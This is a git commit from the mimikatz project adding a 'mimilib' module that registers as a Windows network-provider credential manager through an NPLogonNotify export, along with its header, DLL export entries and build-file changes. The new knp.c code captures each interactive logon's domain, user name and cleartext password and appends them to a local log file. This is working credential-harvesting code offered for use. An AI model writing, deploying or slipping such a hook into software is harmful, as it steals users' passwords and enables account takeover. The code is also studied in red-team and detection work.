[new] mimilib NPLogonNotify (thank you @gtworek)

This commit is contained in:
Benjamin DELPY 2020-07-15 16:29:30 +02:00
parent e10ec9aa5b
commit adbcdfa0ad
5 changed files with 76 additions and 5 deletions

44
mimilib/knp.c Normal file
View File

@ -0,0 +1,44 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "knp.h"
DWORD WINAPI knp_NPLogonNotify(PLUID lpLogonId, LPCWSTR lpAuthentInfoType, LPVOID lpAuthentInfo, LPCWSTR lpPreviousAuthentInfoType, LPVOID lpPreviousAuthentInfo, LPWSTR lpStationName, LPVOID StationHandle, LPWSTR *lpLogonScript)
{
FILE *knp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(knp_logfile = _wfopen(L"kiwinp.log", L"a"))
#pragma warning(pop)
{ // MSV1_0_INTERACTIVE_LOGON ~= KERB_INTERACTIVE_LOGON
klog(knp_logfile, L"[%08x:%08x] %s %wZ\\%wZ\t", lpLogonId->HighPart, lpLogonId->LowPart, lpAuthentInfoType, &((PMSV1_0_INTERACTIVE_LOGON) lpAuthentInfo)->LogonDomainName, &((PMSV1_0_INTERACTIVE_LOGON) lpAuthentInfo)->UserName);
klog_password(knp_logfile, &((PMSV1_0_INTERACTIVE_LOGON) lpAuthentInfo)->Password);
klog(knp_logfile, L"\n");
fclose(knp_logfile);
}
*lpLogonScript = NULL;
return WN_SUCCESS;
}
DWORD WINAPI knp_NPGetCaps(DWORD nIndex)
{
DWORD dwRes;
switch (nIndex)
{
case WNNC_NET_TYPE:
dwRes = WNNC_CRED_MANAGER;
break;
case WNNC_SPEC_VERSION:
dwRes = WNNC_SPEC_VERSION51;
break;
case WNNC_START:
dwRes = WNNC_WAIT_FOR_START;
break;
default:
dwRes = 0;
break;
}
return dwRes;
}

11
mimilib/knp.h Normal file
View File

@ -0,0 +1,11 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#pragma once
#include "utils.h"
#include <npapi.h>
DWORD WINAPI knp_NPLogonNotify(PLUID lpLogonId, LPCWSTR lpAuthentInfoType, LPVOID lpAuthentInfo, LPCWSTR lpPreviousAuthentInfoType, LPVOID lpPreviousAuthentInfo, LPWSTR lpStationName, LPVOID StationHandle, LPWSTR *lpLogonScript);
DWORD WINAPI knp_NPGetCaps(DWORD ndex);

View File

@ -20,4 +20,7 @@ EXPORTS
DhcpNewPktHook = kdhcp_DhcpNewPktHook
Msv1_0SubAuthenticationRoutine = ksub_Msv1_0SubAuthenticationRoutine
Msv1_0SubAuthenticationFilter = ksub_Msv1_0SubAuthenticationRoutine
Msv1_0SubAuthenticationFilter = ksub_Msv1_0SubAuthenticationRoutine
NPLogonNotify = knp_NPLogonNotify
NPGetCaps = knp_NPGetCaps

View File

@ -1,9 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|Win32"><Configuration>Release</Configuration><Platform>Win32</Platform></ProjectConfiguration>
<ProjectConfiguration Include="Release|x64"><Configuration>Release</Configuration><Platform>x64</Platform></ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM64"><Configuration>Release</Configuration><Platform>ARM64</Platform></ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM64">
<Configuration>Release</Configuration>
<Platform>ARM64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{E049487C-C5BD-471E-99AE-C756E70B6520}</ProjectGuid>
@ -13,7 +22,7 @@
<SccAuxPath>Svn</SccAuxPath>
<SccLocalPath>Svn</SccLocalPath>
<SccProvider>SubversionScc</SccProvider>
<WindowsTargetPlatformVersion Condition="'$(Platform)' == 'ARM64'">10.0.17763.0</WindowsTargetPlatformVersion>
<WindowsTargetPlatformVersion Condition="'$(Platform)' == 'ARM64'">10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Label="Configuration">
@ -92,6 +101,7 @@
<ClCompile Include="kdhcp.c" />
<ClCompile Include="kdns.c" />
<ClCompile Include="kfilt.c" />
<ClCompile Include="knp.c" />
<ClCompile Include="kssp.c" />
<ClCompile Include="ksub.c" />
<ClCompile Include="sekurlsadbg\kuhl_m_sekurlsa_nt6.c" />
@ -106,6 +116,7 @@
<ClInclude Include="kdhcp.h" />
<ClInclude Include="kdns.h" />
<ClInclude Include="kfilt.h" />
<ClInclude Include="knp.h" />
<ClInclude Include="kssp.h" />
<ClInclude Include="ksub.h" />
<ClInclude Include="sekurlsadbg\kuhl_m_sekurlsa_nt6.h" />

View File

@ -32,6 +32,7 @@
<ClCompile Include="kdns.c" />
<ClCompile Include="kdhcp.c" />
<ClCompile Include="ksub.c" />
<ClCompile Include="knp.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="utils.h" />
@ -58,6 +59,7 @@
<ClInclude Include="kdns.h" />
<ClInclude Include="kdhcp.h" />
<ClInclude Include="ksub.h" />
<ClInclude Include="knp.h" />
</ItemGroup>
<ItemGroup>
<Filter Include="sekurlsadbg">